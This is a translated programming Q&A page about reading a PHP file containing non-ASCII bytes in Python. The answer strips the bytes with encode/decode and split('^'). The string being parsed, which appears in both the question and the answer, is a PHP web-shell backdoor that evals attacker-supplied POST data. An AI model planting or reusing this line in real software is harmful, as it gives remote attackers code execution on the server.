簡體   English   中英

在 Python 中讀取包含非法字符的文件

[英]Read a file with illegal characters in Python

我正在嘗試在 Python 中讀取包含非法字符的 PHP 文件。 字符串如下:

z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

我正在使用以下代碼去除非法字符,但它似乎不起作用

EncodedString   = Input.encode("ascii", "ignore")
Input           = EncodedString.decode()

它導致以下字符串引發錯誤

   ^r^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

錯誤信息是

 line 480, in t_ANY_error
    raise SyntaxError('illegal character', (None, t.lineno, None, t.value))
  File "<string>", line 2

我怎樣才能解決這個問題? 我不想在正在讀取的文件中這樣做,因為這會破壞我想要完成的目的。

結果字符在 ASCII 范圍內,因此編碼方法工作得很好。

您的問題是仍有一些字符您必須刪除,因為您的軟件無法解釋它們。

我猜你想保留最后一個^之后的所有字符,這導致以下代碼:

Input         = "z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}"
EncodedString = Input.encode("ascii", "ignore")
Input         = EncodedString.decode().split('^')[-1]
print(Input)
# if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM